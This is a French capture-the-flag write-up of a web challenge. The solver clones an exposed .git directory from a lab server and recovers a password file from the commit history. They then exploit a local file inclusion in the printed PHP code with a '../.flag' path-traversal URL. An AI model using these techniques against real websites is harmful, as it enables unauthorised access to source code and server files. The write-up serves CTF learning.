Challenge WEB 300
Voici le challenge Web 300 proposé durant les CTF.
C'est un challenge original qui nous a donné vraiment mal à la tête.
Je pense que nous avons été nombreux à chercher un rapport entre les X-MEN et le challenge.
Résolution :
Voici la page d'accueil sur laquelle on arrive.
Premier réflexe : regarder le code source.
Dans les méta données, on pouvait voir une ligne avec un numéro de commit “Update commit 548789”.
Deux options s'offrent à nous :
- Soit le site est un CMS (après googlisation ce n'est pas le cas) et il faut trouver sa version.
- Soit le site utilise un soft de subversionning (git, svn, ou autre).
Testons de trouver un repository :
http://192.168.4.1:8300/.git/
On se retrouve devant un “Forbidden”. Cela veut dire qu'il y a un répertoire git.
Sur notre pc , on crée un répertoire :
mkdir llamas
On va dedans : cd llamas
Et on git clone :
git clone http://192.168.4.1:8300/.git/ .
Cela aura pour effet de cloner le git du site sur notre machine. Et ainsi de télécharger les sources du site.
En inspectant le code source d'index.php on ne voit rien qui nous permettent de valider directement l'épreuve.
Néanmoins, il y a un include d'un fichier “.passwd”. Cependant, nous n'avons pas ce fichier dans la version de git que nous avons clonée.
Par conséquent on va afficher l'historique des commits réalisé avec git :
git log commit 55ceec98046bea3fda2d9cc358660f066505765b Author: Franck De Goër <degoerdf@ensimag.fr> Date: Sat Nov 7 09:54:10 2015 +0100 Add GET parameter verification commit 3c93a840251d5ec6bdfbde683e2def9fd0be4a28 Author: Franck De Goër <degoerdf@ensimag.fr> Date: Sat Nov 7 09:52:17 2015 +0100 Add password verification in php commit e82add9f51061086903ad0f7cfcf9568c8c8d140 Author: Franck De Goër <degoerdf@ensimag.fr> Date: Sat Nov 7 09:49:45 2015 +0100 Add form to enter password commit 1c9b67a336c7ce58163567ba9193b747b2e780b5 Author: Franck De Goër <degoerdf@ensimag.fr> Date: Sat Nov 7 09:49:28 2015 +0100 Add subtitle to webpage commit 492f71e69e7416e6c0765bd936274f9eb3a6e53c Author: Franck De Goër <degoerdf@ensimag.fr> Date: Sat Nov 7 09:36:10 2015 +0100 Add missing files commit 1f866c2c1aab83dabb6a2b5a4db18540d1151db7 Author: Franck De Goër <degoerdf@ensimag.fr> Date: Sat Nov 7 09:36:01 2015 +0100 First draft of web page commit f9043c688d52f51d9102ef78f92e55144fb164a7 Author: Franck De Goër <degoerdf@ensimag.fr> Date: Sat Nov 7 09:35:48 2015 +0100 Import gitignore
La version de git qui nous intéresse est la première.
Pour synchroniser notre pc avec cette version :
git reset 55ceec98046bea3fda2d9cc358660f066505765b
On s'aperçoit qu'on récupère le fichier .passwd qui n'avait pas été récupéré lors du premier clonage (restriction de git).
On affiche le contenu du fichier .passwd :\
<?php pwd="i_love_llamas_even_more_than_i_love_you" ?>
Du coup on essaye :
http://192.168.4.1:8300/index.php?pwd=i_love_llamas_even_more_than_i_love_you
On obtient :
Accès authorisé mais pas de flag … Si on retourne voir dans le code source de index.php , on trouve une LFI (local file inclusion) :
<?php $user = ""; if (isset($_GET["user"]) && $_GET["user"] != "") { $user = $_GET["user"]; } else if (isset($_POST["user"]) && $_POST["user"] != "") { $user = $_POST["user"]; } else { $user = "anonymous fan of llamas"; } echo $user . ". "; $file = "log/" . $user; date_default_timezone_set(''UTC''); if (file_exists($file)) { include($file); } file_put_contents($file, "Last logged on " . date("M, d") . " at " . date("H:i") . " UTC"); ?>
On inclus dans la variable user le fichier .flag qui est dans le dossier parent :
http://192.168.4.1:8300/index.php?pwd=i_love_llamas_even_more_than_i_love_you&user=../.flag
On obtient :
le flag : *they_are_not_llamas_they_are_alpacas*